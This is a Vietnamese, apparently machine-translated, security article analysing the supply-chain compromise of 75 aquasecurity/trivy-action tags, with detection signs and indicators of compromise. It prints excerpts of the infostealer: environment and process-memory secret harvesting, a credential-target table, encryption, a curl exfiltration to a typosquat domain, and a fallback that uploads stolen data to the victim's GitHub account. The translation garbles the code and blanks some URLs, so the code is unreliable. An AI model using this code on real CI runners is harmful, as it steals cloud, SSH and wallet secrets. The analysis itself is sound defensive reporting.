Trivy lại bị tấn công: Bí mật xâm phạm thẻ GitHub Actions lan rộng.
Security·Hacker News·1 lượt xem

Trivy lại bị tấn công: Bí mật xâm phạm thẻ GitHub Actions lan rộng.

Trivy under attack again: Widespread GitHub Actions tag compromise secrets

AI Summary

Một vụ tấn công chuỗi cung ứng gần đây đã ảnh hưởng đến 75 phiên bản (version tags) của GitHub Action `aquasecurity/trivy-action` chính thức, khiến chúng trỏ đến các commit độc hại. Vụ việc này, nối tiếp một lỗ hổng credential trước đó, cho phép kẻ tấn công thực thi mã độc infostealer trong quy trình CI/CD trước cả khi Trivy scan được thực hiện, có khả năng đánh cắp các secrets và credentials. Các developer cần lưu ý rằng nhiều version tag trước đây đáng tin cậy giờ đây đã bị nhiễm mã độc. Cho đến khi tình hình được khắc phục hoàn toàn, điều quan trọng là phải chỉ định sử dụng tag `@0.35.0` hoặc xem xét các giải pháp quét bảo mật thay thế để bảo vệ môi trường CI/CD của bạn.

Một cuộc tấn công chuỗi cung ứng mới nhắm vào Trivy đã được tiết lộ hôm nay bởi Paul McCarty, đánh dấu sự xâm phạm rõ rệt thứ hai ảnh hưởng đến hệ sinh thái Trivy vào tháng 3. Sự cố mới nhất này ảnh hưởng đến GitHub Actions,...

Một cuộc tấn công chuỗi cung ứng mới nhắm vào Trivy đã được được tiết lộ hôm nay bởi Paul McCarty, đánh dấu sự xâm phạm rõ rệt thứ hai ảnh hưởng đến Hệ sinh thái Trivy tháng 3.

Sự cố mới nhất này ảnh hưởng đến GitHub Actions và khác với sự xâm phạm OpenVSX trước đó liên quan đến tiện ích mở rộng VS Code.

Các báo cáo ban đầu tập trung vào sự xâm phạm của Trivy v0.69.4, trong đó các hệ sinh thái hạ nguồn như Homebrew đã khôi phục các phiên bản bị ảnh hưởng. Lần phát hiện hoạt động đáng ngờ đầu tiên được biết đến diễn ra vào khoảng 19:15 UTC.

Tuy nhiên, những phát hiện ban đầu cho thấy phạm vi của cuộc tấn công vượt ra ngoài một bản phát hành duy nhất.

Tại Socket, chúng tôi xác định rằng kẻ tấn công đã ép đẩy 75 trong số 76 thẻ phiên bản trong kho lưu trữ aquasecurity/trivy-action, GitHub Action chính thức để chạy quét lỗ hổng Trivy trong quy trình CI/CD. Với hơn 10.000 tệp quy trình làm việc trên GitHub tham chiếu đến hành động này, bán kính vụ nổ tiềm ẩn là rất đáng kể. Các thẻ này đã được sửa đổi để phục vụ tải trọng độc hại, biến các tham chiếu phiên bản đáng tin cậy thành cơ chế phân phối cho kẻ đánh cắp thông tin một cách hiệu quả. Các thẻ bị xâm phạm này vẫn hoạt động tại thời điểm viết bài.

Bất kỳ đường dẫn CI/CD nào tham chiếu aquasecurity/trivy-action theo thẻ phiên bản, bao gồm các thẻ thường được sử dụng như @0.34.2, @0.33.0 hoặc @0.18.0, đều đang thực thi mã độc trước khi quá trình quét Trivy hợp pháp chạy. Điều này có thể ngăn người dùng nhận thấy bất kỳ vấn đề nào. Tại thời điểm này, @0.35.0 dường như là thẻ phiên bản duy nhất không bị ảnh hưởng.

Socket đã phát hiện độc lập hoạt động này trong thời gian thực. Bắt đầu lúc 19:15 UTC, Socket đã tạo ra 182 mục nhập nguồn cấp dữ liệu đe dọa gắn liền với các Hành động GitHub độc hại liên quan đến chiến dịch này. Tất cả đều được phân loại chính xác là phần mềm độc hại Backdoor, Infostealer hoặc Reconnaissance bằng máy quét AI của Socket.

Ảnh chụp màn hình trang gói Ổ cắm cho các thẻ bị xâm phạm của Hành động GitHub hành động aquasecurity/trivy-action, hiển thị cảnh báo "Phần mềm độc hại đã biết".

Tải trọng độc hại được thiết kế để thực thi trong các trình chạy GitHub Actions, nhắm mục tiêu dữ liệu nhạy cảm trong môi trường CI/CD. Hành vi được quan sát bao gồm việc hủy bỏ bộ nhớ tiến trình của người chạy để trích xuất bí mật, thu thập khóa SSH và lấy cắp thông tin xác thực cho AWS, GCP và Azure cũng như mã thông báo tài khoản dịch vụ Kubernetes.

Điều này đánh dấu sự cố chuỗi cung ứng thứ hai liên quan đến Trivy vào tháng 3. Đầu tháng này, một sự xâm phạm riêng đã ảnh hưởng đến tiện ích mở rộng Aqua Trivy VS Code được phân phối qua OpenVSX, trong đó mã được tiêm đã cố gắng lạm dụng các tác nhân mã hóa AI cục bộ.

Người dùng socket có thể kiểm tra xem quy trình làm việc của họ có bị ảnh hưởng trong trang tổng quan trong phần Mối đe dọa Intel → Chiến dịch hay xem trình theo dõi chiến dịch công khai cho Thỏa hiệp hành động Trivy GitHub.

Cập nhật ngày 20/3:

Các bản cập nhật gần đây từ các nhà bảo trì Trivy xác nhận rằng cuộc tấn công này được kích hoạt bởi thông tin xác thực bị xâm phạm có quyền ghi vào kho lưu trữ. Vụ việc này là sự tiếp nối của vụ vi phạm hồi tháng 3 trước đó, trong đó thông tin xác thực đã bị lấy cắp khỏi môi trường CI của Trivy. Mặc dù các bí mật và mã thông báo đã được luân chuyển để phản hồi nhưng quá trình luân chuyển không hoàn toàn nguyên tử và kẻ tấn công có thể vẫn giữ quyền truy cập vào thông tin xác thực mới được cấp. Điều này cho phép kẻ đe dọa thực hiện các hoạt động được xác thực, bao gồm các thẻ buộc cập nhật mà không cần phải khai thác GitHub. Mặc dù thông tin xác thực chính xác được sử dụng trong giai đoạn này chưa được chỉ định công khai nhưng nguyên nhân cốt lõi hiện được hiểu là quyền truy cập còn sót lại từ hành vi xâm phạm thông tin xác thực trước đó.

Khía cạnh nổi bật nhất của cuộc tấn công này không phải là trọng tải mà là cơ chế phân phối. Sau khi có quyền truy cập vào thông tin xác thực của Trivy, kẻ tấn công đã xâm phạm hành động GitHub aquasecurity/trivy-action nhưng không phải bằng cách chuyển sang một nhánh hoặc tạo bản phát hành mới, bản phát hành này sẽ xuất hiện trong lịch sử cam kết và kích hoạt thông báo. Thay vào đó, kẻ tấn công đã đẩy 75 thẻ phiên bản hiện có để trỏ đến các cam kết độc hại mới. Kỹ thuật này liên quan đến nhiều lớp lừa dối cần được xem xét kỹ lưỡng.

Hãy nhớ rằng thẻ git là một con trỏ tới một SHA cam kết. Khi quy trình làm việc Hành động GitHub tham chiếu đến aquasecurity/trivy-action@0.33.0, GitHub sẽ phân giải thẻ đó thành bất kỳ cam kết nào mà nó hiện trỏ tới. Nếu kẻ tấn công có quyền truy cập đẩy buộc cập nhật thẻ thành một cam kết khác thì mọi quy trình công việc tham chiếu thẻ đó sẽ tự động bắt đầu lấy mã mới.

Cách mỗi thẻ được viết lại

Đối với mỗi thẻ trong số 75 thẻ, kẻ tấn công đã tạo một cam kết mới với siêu dữ liệu giả mạo cẩn thận:

  1. Bắt đầu từ cây HEAD chính (57a97c7e), cây tệp hiện tại chứa tất cả các thẻ mới nhất mã
  2. Hoán đổi entrypoint.sh với trọng tải của kẻ đánh cắp thông tin, giữ nguyên mọi thứ khác từ chính
  3. Đã tra cứu cam kết ban đầu mà thẻ trước đó đã trỏ tới (ví dụ: hợp nhất PR #481 cho thẻ 0.33.0)
  4. Sao chép siêu dữ liệu của cam kết đó, bao gồm tên tác giả, email, người xác nhận, cả dấu thời gian và thông báo cam kết đầy đủ bao gồm số PR và "Sửa" tài liệu tham khảo
  5. Đặt thẻ gốc thành 57a97c7e (HEAD chính) thay vì thẻ gốc ban đầu
  6. Buộc đẩy thẻ vào cam kết mới này

Kết quả là một cây tệp giống hệt nhau trên tất cả 75 cam kết độc hại, chính cộng với entrypoint.sh được hoán đổi. Chỉ có siêu dữ liệu cam kết khác nhau trên mỗi thẻ, được giả mạo để khớp với cam kết ban đầu của mỗi thẻ để nó có vẻ hợp pháp trong git log.

Trang phát hành GitHub cho một trong những bản phát hành bị xâm phạm, 0.33.1, hiển thị tất cả siêu dữ liệu dự kiến ​​và huy hiệu "Không thể thay đổi". Tuy nhiên, thẻ đã bị đẩy tới một cam kết độc hại đối với chủ hiện tại, do bị phản bội bởi nhận xét "0 cam kết với chủ kể từ bản phát hành này".

Chỉ có một số dấu hiệu phản ánh sự giả mạo:

  1. Mỗi cam kết ban đầu đều có chữ ký GPG của GitHub khi được hợp nhất thông qua giao diện người dùng web. Các cam kết của kẻ tấn công không được ký vì không thể tạo lại chữ ký luồng web GitHub ban đầu.
  2. Mỗi cam kết xác nhận một ngày kể từ bản phát hành ban đầu (2021, 2022, v.v.) nhưng có ngày gốc là tháng 3 năm 2026. Điều này là không thể.
  3. Các cam kết ban đầu thường chạm vào nhiều tệp. Mỗi cam kết độc hại chỉ sửa đổi entrypoint.sh, vì phần còn lại của cây là HEAD chính chứ không phải cây của thẻ ban đầu.

Giao diện người dùng phát hành của GitHub hiển thị huy hiệu "Không thể thay đổi" bên cạnh mỗi thẻ trên trang phát hành của hành động bị xâm phạm. Bản phát hành bất biến đề cập đến tính năng GitHub mới hơn buộc các phiên bản phát hành sau khi được xuất bản sẽ không thể bị thay đổi hoặc xóa.

Kẻ tấn công có thể đã cố tình xuất bản các bản phát hành bất biến khi đầu độc các thẻ, khóa hiệu quả ở trạng thái độc hại và khiến người bảo trì khó khôi phục các mục tiêu thẻ ban đầu hơn.

Như sự thỏa hiệp này cho thấy, các tổ chức và người dùng hạ nguồn không nên chỉ dựa vào chỉ báo "Không thể thay đổi" để xác minh tính toàn vẹn của thẻ. Hướng dẫn bảo mật riêng của GitHub khuyến nghị ghim các hành động vào SHA cam kết đầy đủ như là cách thực sự bất biến duy nhất để thực hiện một hành động.

Trên trang phát hành của GitHub, mỗi thẻ bị nhiễm độc hiển thị "0 cam kết thành chủ kể từ bản phát hành này". Đối với một thẻ như 0.6.0 từ năm 2020, bộ đếm này sẽ hiển thị hàng trăm lần xác nhận. Nó đọc bằng 0 vì cha của cam kết độc hại chính HEAD; Logic so sánh của GitHub coi thẻ ở vị trí ở hoặc phía trước thẻ chính chứ không phải ở phía sau thẻ chính. Đây là dấu hiệu trực quan dễ dàng cho thấy sự thỏa hiệp khi duyệt trang phát hành.

Tại sao Thẻ 0.35.0 không bị nhiễm độc

Thẻ 0.35.0 là thẻ sạch duy nhất. Nó trỏ đến cam kết mới nhất trên nhánh chính, 57a97c7e. Kẻ tấn công đã sử dụng cam kết này làm cây cơ sở để tạo ra tất cả 75 cam kết độc hại. Thẻ 0.35.0 không được thay thế vì nó đã trỏ đến cam kết cơ sở. Công cụ của kẻ tấn công có thể lặp lại trên tất cả các thẻ và bỏ qua thẻ phù hợp với thẻ gốc. Việc thay thế nó sẽ tạo ra một cam kết có gốc là chính nó, một cam kết không hoạt động cũng có nguy cơ thu hút sự chú ý đến bản phát hành mới nhất, thẻ có nhiều khả năng bị theo dõi nhất.

Tổng quan về tải trọng#

Mã độc hại entrypoint.sh dài 204 dòng. Các dòng từ 4 đến 105 chứa phần mềm đánh cắp thông tin được chèn vào. Các dòng từ 106 đến 204 chứa mã quét Trivy hợp pháp. Vì phần mềm độc hại thực thi trước và quá trình quét Trivy thực sự diễn ra bình thường sau đó nên người dùng sẽ thấy kết quả quét dự kiến ​​và có thể không nhận thấy có điều gì sai sót.

Tải trọng hoạt động theo ba giai đoạn:

  1. Bộ sưu tập (dòng 4–36) — Thu thập bí mật từ bộ nhớ tiến trình chạy và hệ thống tệp
  2. Mã hóa (dòng 39–68) — Mã hóa dữ liệu được thu thập bằng AES-256-CBC và bọc khóa bằng RSA-4096
  3. Exfiltered (dòng 70–104) — Truyền gói được mã hóa đến điểm cuối do kẻ tấn công kiểm soát, với dự phòng dựa trên GitHub

Giai đoạn 1: Bộ sưu tập bí mật#

Xử lý môi trường quy trình (Dòng 4–29)

Khối mã độc đầu tiên định vị trình chạy GitHub Actions xử lý và thu thập các biến môi trường của chúng:

 _COLLECT_PIDS="$$"
cho _name trong Runner.Worker Runner.Listener runvc run.sh; làm
  _PIDS=$(pgrep -f "$_name" 2>/dev/null || true)
  [ -n "$_PIDS" ] && _COLLECT_PIDS="$_COLLECT_PIDS $_PIDS"
xong
COLLECTED="/tmp/runner_collected_$$.txt"
: > "$ THU THẬP"
cho _PID trong $_COLLECT_PIDS; làm
  _ENVIRON="/proc/${_PID}/môi trường"
  [ -r "$_ENVIRON" ] || tiếp tục
  while IFS= đọc dòng -r; làm
    key="${line%%=*}"
    val="${line#*=}"
    nếu tiếng vang "$key" | grep -qiE '(env|ssh)'; sau đó
      printf '%s=%s\\n' "$key" "$val" >> "$COLLECTED"
      nếu [ -f "$val" ] && [ ! -S "$val" ]; sau đó
        printf '\\n[%s]\\n' "$val" >> "$ THU THẬP"
        mèo "$val" >> "$ THU THẬP"
        printf '\\n' >> "$ THU THẬP"
      fi
    fi
  xong < <(tr '\\0' '\\n' < "$_ENVIRON")
xong

Tập lệnh tìm PID cho các quy trình chạy của GitHub Actions ( Runner.Worker, Runner.Listener, runsvc, run.sh), đọc các biến môi trường được phân tách bằng null từ /proc//environ và bộ lọc các khóa chứa env hoặc ssh. Khi giá trị của biến khớp là đường dẫn tệp, nó cũng sẽ đọc và nối thêm nội dung tệp, ghi lại các khóa SSH, tệp môi trường và tài liệu tương tự. Tất cả dữ liệu được thu thập sẽ được ghi vào /tmp/runner_collected_.txt.

GitHub-Hosted Runners: Process Memory Dump (Dòng 30–32)

Trên các trình chạy Linux được lưu trữ trên GitHub, phần mềm độc hại sẽ leo thang đáng kể. Tập lệnh Python được mã hóa base64 được giải mã và thực thi bằng sudo:

import sys, os, re
chắc chắn get_pid():
    cho pid in (p cho p trong os.listdir('/proc') if p.isdigit()):
        thử:
            với open(os.path.join('/proc', pid, 'cmdline'), 'rb') là f:
                nếu b'Runner.Worker' trong f.read():
                    trả lại pid
        ngoại trừ OSError:
            tiếp tục
    tăng SystemExit(0)
pid = get_pid()
bản đồ_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
với open(map_path, 'r') là map_f, open(mem_path, 'rb', 0) là mem_f:
    cho dòng trong map_f:
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', dòng)
        nếu không phải m hoặc m.group(3) != 'r':
            tiếp tục
        bắt đầu = int(m.group(1), 16)
        end = int(m.group(2), 16)
        nếu bắt đầu> sys.maxsize:
            tiếp tục
        mem_f.seek(bắt đầu)
        thử: chunk = mem_f.read(kết thúc - bắt đầu)
            sys.stdout.buffer.write(chunk)
        ngoại trừ OSError:
            continue

Tập lệnh định vị quy trình Runner.Worker bằng cách quét /proc/*/cmdline, phân tích /proc//maps để xác định tất cả các vùng bộ nhớ có thể đọc được và kết xuất từng vùng từ /proc//mem. Sau đó, trình bao bọc shell sẽ grep kết xuất bộ nhớ thô cho mẫu JSON "":{"value":","isSecret":true — định dạng nội bộ mà GitHub Actions sử dụng để lưu trữ bí mật trong vùng heap quy trình Runner.Worker .NET.

Kỹ thuật này trở nên đáng tin cậy nhờ mô hình đặc quyền của người chạy được lưu trữ trên GitHub: Tài liệu GitHub không cần mật khẩu sudo trên các trình chạy được lưu trữ trên Linux và macOS, bỏ qua các hạn chế ptrace và cài đặt Yama LSM sẽ chi phối quyền truy cập vào /proc//mem. Sau đó, trình bao bọc shell sẽ greps cho các mẫu "isSecret":true, có khả năng khôi phục nhiều bí mật thực sự được đưa vào công việc và lưu trữ trong bộ nhớ Runner.Worker — đặc biệt là các giá trị chuỗi đơn giản. Không nên giả định rằng nó khôi phục mọi bí mật được định cấu hình trong kho lưu trữ, tổ chức hoặc môi trường, vì Tác vụ GitHub chỉ đưa vào các bí mật thực sự được tham chiếu trong quy trình làm việc, kèm theo các cảnh báo bổ sung cho PR dựa trên nhánh, quy trình làm việc có thể sử dụng lại và các lần chạy do Dependabot kích hoạt.

Người chạy tự lưu trữ: Kẻ đánh cắp thông tin xác thực hệ thống tệp (Dòng 34–36)

Trên các trình chạy tự lưu trữ hoặc môi trường không phải Linux, một tải trọng Python được mã hóa base64 khác sẽ thực thi, một trình thu thập thông tin xác thực hệ thống tệp toàn diện tự xác định là ## Kẻ đánh cắp đám mây TeamPCP trong nhận xét trên dòng cuối cùng của nó. Tập lệnh sử dụng ba chức năng tiện ích (emit để đọc tệp, chạy để thực thi lệnh, đi bộ để truyền tải thư mục đệ quy) để tìm kiếm một cách có hệ thống dữ liệu nhạy cảm trên toàn bộ trình chạy.

Các danh mục thông tin xác thực được nhắm mục tiêu là mở rộng:

Danh mụcMục tiêu
Do thámtên máy chủ, whoami, uname -a, ip addr, ip Route, printenv
SSH~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config; /etc/ssh/ssh_host_*_key
Git~/.git-credentials, ~/.gitconfig
AWS~/.aws/credentials, ~/.aws/config, AWS_* env vars, EC2 IMDS tại 169.254.169.254, thông tin xác thực vùng chứa ECS tại 169.254.170.2
GCP~/.config/gcloud/*, application_default_credentials.json, GOOGLE_APPLICATION_CREDENTIALS
Azure~/.azure/*, AZURE_* env vars
Kubernetes~/.kube/config, /etc/kubernetes/*.conf, mã thông báo tài khoản dịch vụ, kubectl lấy bí mật --all-namespaces -o json
Docker~/.docker/config.json, /kaniko/.docker/config.json
Môi trường các tập tin.env, .env.local, .env.production, .env.development, .env.staging, .env.test — được tìm kiếm trong CWD, thư mục mẹ và đệ quy trên /opt, /srv, /var/www, /app, /data, /var/lib, /tmp
Cơ sở dữ liệu~/.pgpass, ~/.my.cnf, ~/.mongorc.js, /etc/mysql/my.cnf, /etc/redis/redis.conf, env vars phù hợp với CƠ SỞ DỮ LIỆU, DB_, MYSQL, POSTGRES, MONGO, REDIS, VAULT
Trình quản lý gói~/.npmrc, ~/.vault-token, ~/.netrc
Cấu hình CI/CDterraform.tfvars, terraform.tfstate, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg
Khóa riêng TLS*.key, *.pem, *.p12, *.pfx trên tất cả các gốc; /etc/ssl/private/, /etc/letsencrypt/
VPN/etc/wireguard/*.conf, wg showconf all
WebhooksGrop cho hooks.slack.comdiscord.com/api/webhooks
Lịch sử Shell~/.bash_history, ~/.zsh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history
Hệ thống/etc/passwd, /etc/shadow, nhật ký xác thực
Ví tiền điện tửBitcoin (bitcoin.conf, wallet*.dat), cấu hình Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero; Kho khóa Ethereum; Khóa ký và xác minh Cardano; Cặp khóa Solana (validator-keypair.json, vote-account-keypair.json, identity.json) trên ~/.config/solana, /home/sol, /opt/solana ; Tập tin thiết bị sổ cái; Neo các phím triển khai; chung keypair.json/id.json/wallet*.json sâu tối đa 8 thư mục

Giai đoạn 2: Mã hóa (Dòng 39–68)#

Trước khi lọc, phần mềm độc hại mã hóa tất cả dữ liệu được thu thập bằng sơ đồ mã hóa kết hợp tiêu chuẩn:

openssl rand 32 > "$_SESSION_KEY" 2>/dev/null
openssl enc -aes-256-cbc -in "$COLLECTED" -out "$_ENC_FILE" \\
  -pass "tệp:$_SESSION_KEY" -pbkdf2 2>/dev/null
openssl pkeyutl -encrypt -pubin -inkey "$_PUB_KEY_PEM" \\
  -trong "$_SESSION_KEY" -ra "$_ENC_KEY" \\
  -pkeyopt rsa_padding_mode:oaep 2>/dev/null
tar -czf "$_BUNDLE" -C "$_WORKDIR" payload.enc session.key.enc 2>/dev/null

Việc triển khai tạo ra 32 byte tài liệu phiên ngẫu nhiên mà openssl enc sử dụng thông qua PBKDF2 để lấy khóa AES-256-CBC thực tế và IV. Sau đó, tài liệu phiên được mã hóa bằng khóa chung RSA-4096 được nhúng của kẻ tấn công bằng cách sử dụng phần đệm OAEP. Cả hai tệp, tải trọng được mã hóa và tài liệu phiên được bọc trong RSA, đều được gói vào tpcp.tar.gz.

Chỉ người nắm giữ khóa riêng RSA tương ứng mới có thể mở gói tài liệu phiên, điều này cần thiết để lấy khóa AES và giải mã tải trọng. Ngay cả khi gói bị chặn trong quá trình vận chuyển, nội dung của nó vẫn không thể truy cập được nếu không có khóa riêng.

Giai đoạn 3: Lọc (Dòng 70–104)#

Kênh chính: HTTPS POST tới tên miền Typosquat

 _HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST \\
   \\
  -H "Loại nội dung: ứng dụng/octet-stream" \\
  -H "Tên tệp X: tpcp.tar.gz" \\
  --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")

Gói mã hóa được gửi tới scan[.]aquasecurtiy[.]org ; lưu ý lỗi chính tả của "security" là "securtiy", một lỗi đánh máy của miền Aqua Security hợp pháp. Tiêu đề tùy chỉnh X-Filename: tpcp.tar.gz xác định loại tải trọng tới máy chủ nhận. Mã trạng thái HTTP được ghi lại để xác định xem có cần kênh dự phòng hay không.

Kênh dự phòng: Tài khoản GitHub của riêng nạn nhân

Nếu điểm cuối chính trả về phản hồi không phải 2xx và có INPUT_GITHUB_PAT, phần mềm độc hại sẽ sử dụng lại mã thông báo đó để chống lại nạn nhân. Tài liệu hành động tầm thường cho biết github-pat có thể là Mã thông báo truy cập cá nhân GitHub hoặc GITHUB_TOKEN, nhưng việc sử dụng điểm cuối /user/repos dự phòng để tạo kho lưu trữ cho người dùng được xác thực, yêu cầu mã thông báo trong phạm vi người dùng (PAT hoặc tương đương). GITHUB_TOKEN trong phạm vi kho lưu trữ mặc định có thể sẽ không thành công ở bước này. Điều này có nghĩa là kênh dự phòng nguy hiểm nhất đối với các quy trình công việc vượt qua PAT thực:

if [[ ! "$_HTTP" =~ ^2 ]] && [ -n "${INPUT_GITHUB_PAT:-}" ]; sau đó
  _REPO="tpcp-docs"
  _GH_AUTH="Ủy quyền: mã thông báo ${INPUT_GITHUB_PAT}"
  _GH_API=""
  # Tạo repo công khai trên tài khoản của nạn nhân
  Curl -s -X POST "${_GH_API}/user/repos" \\
    -H "$_GH_AUTH" \\
    -d '{"name://tpcp-docs","private":false,"auto_init":true}' ...
  # Tạo bản phát hành với thẻ có dấu thời gian
  _TAG="data-$(ngày +%Y%m%d%H%M%S)"
  _RELEASE_ID=$(curl -s -X POST "${_GH_API}/repos/${_GH_USER}/tpcp-docs/releases" ...)
  # Tải lên gói được mã hóa làm tài sản phát hành
  cuộn tròn -s -X ĐĂNG \\
    "" \\
    --data-binary "@${_BUNDLE}" ...
fi

Dự phòng này tạo một kho lưu trữ công khai có tên tpcp-docs trên tài khoản GitHub của chính nạn nhân, tạo bản phát hành có thẻ được gắn dấu thời gian và tải gói được mã hóa lên làm nội dung bản phát hành. Sau đó, kẻ tấn công có thể tìm kiếm kho lưu trữ tpcp-docs trên GitHub để định vị và tải xuống dữ liệu bị đánh cắp.

Thiết kế này nổi bật nhờ khả năng phục hồi: dữ liệu được lưu trữ trên cơ sở hạ tầng của chính GitHub, không bị chặn bởi tường lửa hoặc chính sách mạng của công ty. Tên kho lưu trữ vô hại sẽ tránh bị nghi ngờ ngay lập tức và kẻ tấn công không yêu cầu cơ sở hạ tầng bổ sung để truy xuất tài liệu đã bị lọc.

Dọn dẹp (Dòng 103–105)

rm -rf "$_WORKDIR" "$_PUB_KEY_PEM"
fi
rm -f "$COLLECTED"

Tất cả các tệp tạm thời sẽ bị xóa. Dấu vết lâu dài duy nhất là kho lưu trữ tpcp-docs (nếu dự phòng được kích hoạt) và nhật ký mạng hiển thị POST HTTPS đi.

Attribution#

Phần mềm độc hại tự nhận dạng là TeamPCP Cloud kẻ trộm trong một nhận xét Python trên dòng cuối cùng của trình thu thập thông tin xác thực hệ thống tệp được nhúng. TeamPCP, còn được theo dõi với tên DeadCatx3, PCPcat và ShellForce, là một kẻ tấn công có nguồn gốc từ đám mây được ghi nhận là có khả năng khai thác các API Docker, cụm Kubernetes, bảng thông tin Ray và máy chủ Redis bị định cấu hình sai. Nhóm này có liên quan đến các chiến dịch ransomware, exfilration và cryptomining do sâu điều khiển, đồng thời được do Flare lập hồ sơđược báo cáo bởi The Tin tức về hacker vào tháng 2 năm 2026.

Các mục tiêu thông tin xác thực trong trọng tải này nhất quán với hồ sơ trộm cắp và kiếm tiền trên nền tảng đám mây rộng hơn của nhóm. Sự nhấn mạnh nhiều vào cặp khóa xác thực Solana và ví tiền điện tử ít được ghi chép rõ ràng như một dấu hiệu của TeamPCP, mặc dù nó phù hợp với các động lực tài chính đã biết của nhóm. Việc tự gắn nhãn có thể là một cờ sai, nhưng sự chồng chéo về mặt kỹ thuật với công cụ TeamPCP trước đó khiến cho việc phân bổ chính hãng trở nên hợp lý.

Các tổ chức nên ngưng sử dụng trivy-action theo thẻ phiên bản ngay lập tức. Các tùy chọn an toàn duy nhất là ghim để cam kết SHA 57a97c7e7821a5776cebc9bb87c984fa69cba8f1 hoặc chỉ sử dụng thẻ 0.35.0.

Bất kỳ đường dẫn nào thực thi thẻ bị nhiễm độc đều phải được coi là bị xâm phạm hoàn toàn. Tất cả các bí mật có thể truy cập được vào quy trình làm việc đó, bao gồm thông tin xác thực trên đám mây, khóa SSH, mã thông báo API, mật khẩu cơ sở dữ liệu, mã thông báo đăng ký Docker phải được luân chuyển ngay lập tức.

Các nhóm bảo mật nên kiểm tra tổ chức GitHub của họ để tìm các kho lưu trữ tpcp-docs và xem lại nhật ký Hành động GitHub cho bất kỳ lần chạy trivy-action nào xảy ra sau khoảng 19:00 UTC ngày 19 tháng 3 năm 2026.

Chỉ báo thỏa hiệp (IOC)#

Chỉ báo mạng

  • scan[.]aquasecurtiy[.]org

Tệp Băm

  • 18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a (SHA256, entrypoint.sh)

Hành động xâm phạm

  1. aquasecurity/trivy-action@0.0.1 (f7773844)
  2. aquasecurity/trivy-action@0.0.2 (f5c9fd92)
  3. aquasecurity/trivy-action@0.0.3 (22e864e7)
  4. aquasecurity/trivy-action@0.0.4 (6ec7aaf3)
  5. aquasecurity/trivy-action@0.0.5 (555e7ad4)
  6. aquasecurity/trivy-action@0.0.6 (794b6d99)
  7. aquasecurity/trivy-action@0.0.7 (506d7ff0)
  8. aquasecurity/trivy-action@0.0.8 (91d5e0a1)
  9. aquasecurity/trivy-action@0.0.9 (252554b0)
  10. aquasecurity/trivy-action@0.0.10 (b9faa60f)
  11. aquasecurity/trivy-action@0.0.11 (3c615ac0)
  12. aquasecurity/trivy-action@0.0.12 (c19401b2)
  13. aquasecurity/trivy-action@0.0.13 (4209dcad)
  14. aquasecurity/trivy-action@0.0.14 (61fbe20b)
  15. aquasecurity/trivy-action@0.0.15 (0d49ceb3)
  16. aquasecurity/trivy-action@0.0.16 (2e7964d5)
  17. aquasecurity/trivy-action@0.0.17 (1d74e4cf)
  18. aquasecurity/trivy-action@0.0.18 (3201dddd)
  19. aquasecurity/trivy-action@0.0.19 (ea56cd31)
  20. aquasecurity/trivy-action@0.0.20 (9738180d)
  21. aquasecurity/trivy-action@0.0.21 (ef3a510e)
  22. aquasecurity/trivy-action@0.0.22 (bb75a905)
  23. aquasecurity/trivy-action@0.1.0 (9e8968cb)
  24. aquasecurity/trivy-action@0.2.0 (7f6f0ce5)
  25. aquasecurity/trivy-action@0.2.1 (0891663b)
  26. aquasecurity/trivy-action@0.2.2 (3dffed04)
  27. aquasecurity/trivy-action@0.2.3 (cf1692a1)
  28. aquasecurity/trivy-action@0.2.4 (848d665e)
  29. aquasecurity/trivy-action@0.2.5 (fa4209b6)
  30. aquasecurity/trivy-action@0.3.0 (8cfb9c31)
  31. aquasecurity/trivy-action@0.4.0 (18f01feb)
  32. aquasecurity/trivy-action@0.4.1 (7b955a5e)
  33. aquasecurity/trivy-action@0.5.0 (d488f438)
  34. aquasecurity/trivy-action@0.5.1 (fa78e67c)
  35. aquasecurity/trivy-action@0.6.0 (a5b4818d)
  36. aquasecurity/trivy-action@0.6.1 (6fc874a1)
  37. aquasecurity/trivy-action@0.6.2 (2a51c5c5)
  38. aquasecurity/trivy-action@0.7.0 (ddb66974)
  39. aquasecurity/trivy-action@0.7.1 (aa3c46a9)
  40. aquasecurity/trivy-action@0.8.0 (4bdcc5d9)
  41. aquasecurity/trivy-action@0.9.0 (b745a35b)
  42. aquasecurity/trivy-action@0.9.1 (da73ae07)
  43. aquasecurity/trivy-action@0.9.2 (7550f14b)
  44. aquasecurity/trivy-action@0.10.0 (8aa8af3e)
  45. aquasecurity/trivy-action@0.11.0 (e53b0483)
  46. aquasecurity/trivy-action@0.11.1 (276ca968)
  47. aquasecurity/trivy-action@0.11.2 (8ae5a08a)
  48. aquasecurity/trivy-action@0.12.0 (820428af)
  49. aquasecurity/trivy-action@0.13.0 (cf19d27c)
  50. aquasecurity/trivy-action@0.13.1 (405e91f3)
  51. aquasecurity/trivy-action@0.14.0 (2297a1b9)
  52. aquasecurity/trivy-action@0.15.0 (2b1dac84)
  53. aquasecurity/trivy-action@0.16.0 (f4f1785b)
  54. aquasecurity/trivy-action@0.16.1 (3d1b5be1)
  55. aquasecurity/trivy-action@0.17.0 (985447b0)
  56. aquasecurity/trivy-action@0.18.0 (85cb72f1)
  57. aquasecurity/trivy-action@0.19.0 (38623bf2)
  58. aquasecurity/trivy-action@0.20.0 (9092287c)
  59. aquasecurity/trivy-action@0.21.0 (b7befdc1)
  60. aquasecurity/trivy-action@0.22.0 (9ba3c3cd)
  61. aquasecurity/trivy-action@0.23.0 (fd090040)
  62. aquasecurity/trivy-action@0.24.0 (e0198fd2)
  63. aquasecurity/trivy-action@0.25.0 (ddb94181)
  64. aquasecurity/trivy-action@0.26.0 (b7252377)
  65. aquasecurity/trivy-action@0.27.0 (66c90331)
  66. aquasecurity/trivy-action@0.28.0 (c5967f85)
  67. aquasecurity/trivy-action@0.29.0 (9c000ba9)
  68. aquasecurity/trivy-action@0.30.0 (ad623e14)
  69. aquasecurity/trivy-action@0.31.0 (85190378)
  70. aquasecurity/trivy-action@0.32.0 (fd429cf8)
  71. aquasecurity/trivy-action@0.33.0 (19851bef)
